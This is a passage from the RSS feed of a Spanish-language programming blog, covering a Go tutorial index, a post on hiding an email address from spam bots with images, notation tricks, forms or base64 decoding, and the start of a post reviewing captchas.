paradigmas de ocultamiento información y la meta filosofía de la programación. En mi opinión, A philosophy of Software Design va más allá de lo que Clean Code puede ofrecer, lo siento tío Bob.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro A philosophy of software design\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/a-philosophy-of-software-design.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4i8kodH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de A philosophy of software design y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo diseñar software de calidad y mantanible?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Go Programming Language Tutorial</title>
      <link>https://coffeebytes.dev/es/pages/go-programming-language-tutorial/</link>
      <pubDate>Sat, 08 Jun 2024 14:10:45 -0600</pubDate>
      <guid>https://coffeebytes.dev/es/pages/go-programming-language-tutorial/</guid>
      
      
      
      
      
      <content:encoded>&lt;p&gt;He escrito una serie de entradas que intentan servir de guía e introducción para aprender el lenguaje de programación Go. Este tutorial requiere que conozcas al menos las bases de la programación, por lo que probablemente sea una buena idea leerlo sólo si estás aprendiendo Go como tu segundo o tercer lenguaje de programación. Este contenido va desde la sintaxis básica de Go hasta usos avanzados como la captura de señales o la contenedorización.&lt;/p&gt;&#xA;&lt;h2 id=&#34;introduccion-al-lenguaje-go-y-sintaxis-basica&#34;&gt;Introducción al lenguaje Go y Sintaxis Básica&lt;/h2&gt;&#xA;&lt;p&gt;Introducción al lenguaje de programación Go, tipos de datos nativos, variables, la polémica en torno a este lenguaje, lo bueno, lo malo, lo feo e incluso un vistazo a su popular, y a veces odiada, mascota.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-lenguaje-de-programacion-introduccion-a-variables-y-tipos-de-datos/&#34;&gt;&#xA;  &#xA;    &#xA;      Go lenguaje de programación introducción a variables y tipos de datos &#xA;    &#xA;  &#xA;&#xA;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Cómo crear funciones go y pasarles argumentos, junto con la base del paquete fmt utilizado para imprimir texto por pantalla&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-funciones-argumentos-y-el-paquete-fmt/&#34;&gt;&#xA;  &#xA;    &#xA;      Go: funciones, argumentos y el paquete fmt &#xA;    &#xA;  &#xA;&#xA;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Domina los diferentes tipos de bucles que existen en go, aprende a utilizar el control de flujo para ejecutar tu código condicionalmente y conoce las cláusulas break, continue y defer.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-ciclos-o-bucles-for-break-continue-defer-if-y-else/&#34;&gt;&#xA;  &#xA;    &#xA;      Go: ciclos for, break, continue, defer, if y else &#xA;    &#xA;  &#xA;&#xA;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Crear array y slices y conocer sus diferencias y cómo iterar sobre ellos correctamente usando range.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-slices-y-arrays/&#34;&gt;&#xA;  &#xA;    &#xA;      Go:  slices y arrays &#xA;    &#xA;  &#xA;&#xA;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Aprende cómo funcionan internamente los map o diccionarios, las diferentes formas de crearlos y cómo iterar sobre ellos usando range.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-maps-o-diccionarios/&#34;&gt;&#xA;  &#xA;    &#xA;      Go: maps o diccionarios &#xA;    &#xA;  &#xA;&#xA;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Lee sobre las principales diferencias que existen entre string, runas y bytes en go, cómo funcionan internamente y sus principales métodos relacionados.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-strings-runes-y-bytes/&#34;&gt;&#xA;  &#xA;    &#xA;      Go: strings, runes y bytes &#xA;    &#xA;  &#xA;&#xA;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;tutorial-de-lenguaje-de-programacion-go-programacion-orientada-a-objetos&#34;&gt;Tutorial de Lenguaje de Programación Go: Programación orientada a objetos&lt;/h2&gt;&#xA;&lt;p&gt;Go no tiene clases, pero puedes emular características de POO (polimorfismo, herencia y encapsulación) usando go structs.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-structs-herencia-polimorfismo-y-encapsulacion/&#34;&gt;&#xA;  &#xA;    &#xA;      Go: Structs, herencia, polimorfismo y encapsulación &#xA;    &#xA;  &#xA;&#xA;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Cómo manejar e importar y referenciar paquetes y módulos en go.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-importacion-de-paquetes-y-manejo-de-modulos/&#34;&gt;&#xA;  &#xA;    &#xA;      Go: importación de paquetes y manejo de modulos &#xA;    &#xA;  &#xA;&#xA;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;tutorial-de-lenguaje-de-programacion-go-concurrencia-y-corrutinas&#34;&gt;Tutorial de Lenguaje de Programación Go: Concurrencia y Corrutinas&lt;/h2&gt;&#xA;&lt;p&gt;La característica que hace destacar a go: concurrencia y goroutines, aprende a crearlas y manejarlas.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-introduccion-a-las-goroutines-y-concurrencia/&#34;&gt;&#xA;  &#xA;    &#xA;      Go: introducción a las goroutines y concurrencia &#xA;    &#xA;  &#xA;&#xA;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Aquí te explico cómo comunicar goroutines a través de canales y los principios fundamentales a tener en cuenta cuando se trabaja con código concurrente.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-uso-de-channels-o-canales-para-comunicar-goroutinas/&#34;&gt;&#xA;  &#xA;    &#xA;      Go: uso de channels o canales para comunicar goroutinas &#xA;    &#xA;  &#xA;&#xA;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Entender el concepto de deadlocks en el contexto del trabajo con goroutines, cómo evitarlos y qué causa este problema.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-channels-entendiendo-los-deadlocks-o-puntos-muertos/&#34;&gt;&#xA;  &#xA;    &#xA;      Go: channels, entendiendo los deadlocks o puntos muertos &#xA;    &#xA;  &#xA;&#xA;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Los fundamentos de las condiciones de carrera cuando se trabaja con código concurrente y cómo prevenirlas. Crear código resistente a condiciones de carrera usando mutexes en Go&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-condiciones-de-carrera-en-goroutines-y-mutex/&#34;&gt;&#xA;  &#xA;    &#xA;      Go: condiciones de carrera en goroutines y mutex &#xA;    &#xA;  &#xA;&#xA;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;tutorial-de-lenguaje-de-programacion-go-pruebas-y-registro&#34;&gt;Tutorial de Lenguaje de Programación Go: Pruebas y Registro&lt;/h2&gt;&#xA;&lt;p&gt;La base de las capacidades de prueba y cobertura de go.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-testing-basico-y-coverage/&#34;&gt;&#xA;  &#xA;    &#xA;      Go: testing básico y coverage &#xA;    &#xA;  &#xA;&#xA;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Cómo perfilar y examinar el rendimiento del código usando go.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-profiling-o-perfilado-basico-del-uso-del-cpu/&#34;&gt;&#xA;  &#xA;    &#xA;      Go: profiling o perfilado básico del uso del CPU &#xA;    &#xA;  &#xA;&#xA;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Cómo usar la librería de logging por defecto en el lenguaje de programación go.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/logging-con-la-libreria-estandar-en-go/&#34;&gt;&#xA;  &#xA;    &#xA;      Logging con la librería estándar en Go &#xA;    &#xA;  &#xA;&#xA;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;aplicaciones-go&#34;&gt;Aplicaciones Go&lt;/h2&gt;&#xA;&lt;p&gt;Cómo capturar señales y procesarlas en go para finalizar la ejecución de tu código de forma elegante y segura.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-manejo-de-signals-para-cerrar-aplicaciones/&#34;&gt;&#xA;  &#xA;    &#xA;      Go: Manejo de Signals para Cerrar Aplicaciones &#xA;    &#xA;  &#xA;&#xA;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Aprende a manejar migraciones SQL usando la librería migrate de go&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/tutorial-de-migraciones-en-go-con-migrate/&#34;&gt;&#xA;  &#xA;    &#xA;      Tutorial de migraciones en Go con migrate &#xA;    &#xA;  &#xA;&#xA;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;La base de la librería reflection de go y cómo crear código flexible que trate con tipos desconocidos&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-con-reflect-descubre-como-la-reflexion-puede-impulsar-la-flexibilidad-de-tu-programa/&#34;&gt;&#xA;  &#xA;    &#xA;      Go con Reflect: Mayor Flexibilidad En Tu Código &#xA;    &#xA;  &#xA;&#xA;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;¿Sabías que Docker está escrito en Go? ¿Te has preguntado alguna vez cómo funciona internamente un contenedor Docker? Pues aquí te explico todos los conceptos que necesitas saber para crear tu propia tecnología de contenedorización.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/docker/container-de-docker-con-namespaces-y-cgroups/&#34;&gt;&#xA;  &#xA;    &#xA;      ¿Cómo Funciona un Container de Docker Internamente? &#xA;    &#xA;  &#xA;&#xA;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Explico el patrón de diseño worker pool en go y cómo aprovechar la concurrencia de Go y este patrón de diseño para limitar la cantidad de recursos que utiliza tu aplicación.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/explicacion-del-patron-de-diseno-worker-pool/&#34;&gt;&#xA;  &#xA;    &#xA;      Explicación del Patron De Diseño Worker Pool &#xA;    &#xA;  &#xA;&#xA;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;He escrito una serie de entradas que intentan servir de guía e introducción para aprender el lenguaje de programación Go. Este tutorial requiere que conozcas al menos las bases de la programación, por lo que probablemente sea una buena idea leerlo sólo si estás aprendiendo Go como tu segundo o tercer lenguaje de programación. Este contenido va desde la sintaxis básica de Go hasta usos avanzados como la captura de señales o la contenedorización.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>¿Cómo evitar el spam al colocar un email en un sitio web?</title>
      <link>https://coffeebytes.dev/es/opinion/como-evitar-el-spam-al-colocar-un-email-en-un-sitio-web/</link>
      <pubDate>Wed, 29 May 2024 14:46:07 -0600</pubDate>
      <guid>https://coffeebytes.dev/es/opinion/como-evitar-el-spam-al-colocar-un-email-en-un-sitio-web/</guid>
      
      <category>opinion</category>
      
      <category>seo</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;A veces queremos colocar un email en un sitio web pero sin arriesgarnos a que algún bot la lea y nos incluya en una lista de publicidad, recordándonos nuestros problemas para iniciar una relación carnal con las dos mujeres maduras que viven a menos de dos kilómetros de distancia. Y como no queremos eso, hay varias cosas que podemos hacer para solucionar esto y aquí te presento algunas, la última es la que yo suelo utilizar y también mi favorita.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/how-to-avoid-spam-when-putting-an-email-on-a-website/images/prince-from-nigeria-scam.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/how-to-avoid-spam-when-putting-an-email-on-a-website/images/prince-from-nigeria-scam.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Clásica estafa del príncipe nigeriano&#34; width=&#34;750&#34; height=&#34;750&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;convertir-tu-email-en-una-imagen&#34;&gt;Convertir tu email en una imagen&lt;/h2&gt;&#xA;&lt;p&gt;Esta manera de proteger tu dirección de email no requiere una explicación detallada, simplemente transforma tu email en una imagen y colócala, tu dirección estará segura ante cualquier bot que scrapee texto, pero será vulnerable a cualquier bot con &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/ocr-con-tesseract-python-y-pytesseract/&#34;&gt;capacidades de OCR (Reconocimiento óptico de carácteres), bots con pytesseract por ejemplo&lt;/a&gt;&#xA;, los cuales pronostico que serán pocos, sino es que ninguno.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/how-to-avoid-spam-when-putting-an-email-on-a-website/images/email-image.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/how-to-avoid-spam-when-putting-an-email-on-a-website/images/email-image.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Direccion de email en una imagen&#34; width=&#34;200&#34; height=&#34;55&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;La desventaja de esta aproximación es que la persona que desee mandarte un email tendrá que teclearlo manualmente, pues no puede hacer copy-paste, y ya sabes que cada paso extra añade fricción al proceso de conversión.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;utiliza-una-notacion-diferente-para-el-email&#34;&gt;Utiliza una notación diferente para el email&lt;/h2&gt;&#xA;&lt;p&gt;En lugar de utilizar el clásico formato como &lt;em&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;mailto:my@email.com&#34;&gt;my@email.com&lt;/a&gt;&#xA;&lt;/em&gt;, cámbialo por algo menos obvio para los bots, como &lt;em&gt;my [at] email [dot] com&lt;/em&gt;, de esta manera tu dirección no será detectada como un email por los bots menos sofisticados y si alguien quiere enviarte un email basta con reemplazar el &lt;em&gt;at&lt;/em&gt; y el &lt;em&gt;dot&lt;/em&gt; por sus símbolos correspondientes.&lt;/p&gt;&#xA;&lt;p&gt;Una opción bastante balanceada en mi opinión, aunque si se populariza estoy seguro de que mis embajadores de la fábrica de pastillas azules encontrarán la forma de obtener la valiosa información que necesitan.&lt;/p&gt;&#xA;&lt;h2 id=&#34;pidele-al-usuario-que-genera-el-email-con-informacion-extra&#34;&gt;Pídele al usuario que genera el email con información extra&lt;/h2&gt;&#xA;&lt;p&gt;Otra manera es no colocar directamente el email, pero sí una pista de como puede deducirse, por ejemplo si el sitio se llama &lt;em&gt;lain.com&lt;/em&gt; puedes colocar un texto a manera de pista que diga algo como:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;em&gt;&amp;ldquo;Mi email es el nombre que aparece en la url y es una dirección de correo electrónico de google&amp;rdquo;&lt;/em&gt;.&lt;/p&gt;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Con eso entenderá que la dirección es &lt;em&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;mailto:lain@gmail.com&#34;&gt;lain@gmail.com&lt;/a&gt;&#xA;&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Solo trata de no complicar las cosass bastante aquí, no sobrestimes las capacidades deductivas del internauta promedio.&lt;/p&gt;&#xA;&lt;h2 id=&#34;usa-un-formulario-en-lugar-de-un-email&#34;&gt;Usa un formulario en lugar de un email&lt;/h2&gt;&#xA;&lt;p&gt;Otra opción es olvidarte completamente de colocar tu correo y usar un formulario en su lugar, de esta manera tu correo estará seguro y puedes dirigir los emails a una cuenta única que destines a ese solo propósito&lt;/p&gt;&#xA;&lt;h3 id=&#34;protege-tu-formulario-del-spam-con-un-captcha&#34;&gt;Protege tu formulario del spam con un captcha&lt;/h3&gt;&#xA;&lt;p&gt;Algunos bots intentarán llenar el formulario para enviarte publicidad pero siempre puedes utilizar &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/mi-analisis-de-captchas-anti-bots-ventajas-y-desventajas/&#34;&gt;un captcha para protegerte del spam.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/how-to-avoid-spam-when-putting-an-email-on-a-website/images/captcha-frieren-fern.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/how-to-avoid-spam-when-putting-an-email-on-a-website/images/captcha-frieren-fern.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Captcha image&#34; width=&#34;500&#34; height=&#34;736&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;usa-los-filtros-de--personalizados-de-email&#34;&gt;Usa los filtros de  personalizados de email&lt;/h3&gt;&#xA;&lt;p&gt;Si no quieres usar captchas puedes dejar la responsabilidad de reconocer el spam a los filtros de tu proveedor de email, o utilizar un filtro creado por ti y combinarlo con alguna instrucción como:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;em&gt;&amp;ldquo;Para saber que no eres un bot, por favor incluye la palabra &lt;em&gt;gominola&lt;/em&gt; en tu email.&amp;rdquo;&lt;/em&gt;&lt;/p&gt;&lt;/blockquote&gt;&#xA;&lt;p&gt;Ahora solo configura tu filtro y elimina automáticamente todos los emails que no cumplan esa condición.&lt;/p&gt;&#xA;&lt;h2 id=&#34;genera-tu-email-de-manera-dinamica-para-evitar-el-spam&#34;&gt;Genera tu email de manera dinámica para evitar el spam&lt;/h2&gt;&#xA;&lt;p&gt;Esta es mi favorita, para lograr esto podemos usar algún tipo de cifrado sencillo, o incluso base64, &lt;strong&gt;codificamos nuestra dirección de email en base64 y posteriormente la decodificamos en el frontend de manera dinámica usando Javascript&lt;/strong&gt;, de esta manera los bots solo verán un montón de números y letras en el código fuente, para leer el email necesitarán renderizar la página con javascript activado, lo que elimina a aquellos bots que solo lean el código fuente de la respuesta.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// this comes from the server&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; encodedEmail &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;eW91YXJlY3VyaW91c0BpbGlrZWl0LmNvbQ==&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// atob decodes from base64&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; decodedEmail &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; atob(encodedEmail)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Para un usuario común, el email se mostrará tal cual si viniera incluído en el código fuente de la página.&lt;/p&gt;&#xA;&lt;h3 id=&#34;genera-un-email-de-manera-dinamica-con-interaccion-del-usuario&#34;&gt;Genera un email de manera dinámica con interacción del usuario&lt;/h3&gt;&#xA;&lt;p&gt;Para hacer más seguro este método de protección podemos retrasar la decodificación hasta que el usuario presione un botón, haga scroll, realice algún movimiento con el mouse o incluso usar el intersection observer para decodificarlo solo si el email está en pantalla; el límite es tu imaginación.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;A veces queremos colocar un email en un sitio web pero sin arriesgarnos a que algún bot la lea y nos incluya en una lista de publicidad, recordándonos nuestros problemas para iniciar una relación carnal con las dos mujeres maduras que viven a menos de dos kilómetros de distancia. Y como no queremos eso, hay varias cosas que podemos hacer para solucionar esto y aquí te presento algunas, la última es la que yo suelo utilizar y también mi favorita.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Mi Análisis De Captchas Anti Bots Ventajas Y Desventajas</title>
      <link>https://coffeebytes.dev/es/opinion/mi-analisis-de-captchas-anti-bots-ventajas-y-desventajas/</link>
      <pubDate>Sat, 18 May 2024 23:03:15 -0600</pubDate>
      <guid>https://coffeebytes.dev/es/opinion/mi-analisis-de-captchas-anti-bots-ventajas-y-desventajas/</guid>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Este es mi análisis de algunas de las opciones más populares de captchas que existen y mi opinión como usuario sobre sus ventajas y desvantajas y su nivel de seguridad. Este análisis incluye google recaptcha, captchas de deslizamiento, preguntas sencillas, reconocimiento de caracteres y el captcha más resistente a bots que conozco.&lt;/p&gt;&#xA;&lt;h2 id=&#34;pros-y-contras-de-usar-captchas&#34;&gt;Pros y contras de usar Captchas&lt;/h2&gt;&#xA;&lt;p&gt;Si estás leyendo esto es porque probablemente tu sitio web se llena de bots, o te preocupa que suceda, y temes el efecto que pueda tener el poner captchas en tu sitio web.&lt;/p&gt;&#xA;&lt;h3 id=&#34;pros-de-usar-captchas&#34;&gt;Pros de usar Captchas&lt;/h3&gt;&#xA;&lt;p&gt;Los pros son que puedes limitar, el avance de los bots en tus sistemas, dejarán de llenar tus formularios e intentar automatizar acciones en tu sitios web, esto dejará de inflar tus métricas y tendrás una imagen más clara del comportamiento real de tus usuarios en tu sitio web.&lt;/p&gt;&#xA;&lt;p&gt;Podrás reducir el web scrapping en tu sitio web, lo cual puede preocupar a sitios web grandes como Amazon, Mercado Libre, Ali Express, etc.&lt;/p&gt;&#xA;&lt;h3 id=&#34;contras-de-usar-captchas&#34;&gt;Contras de usar 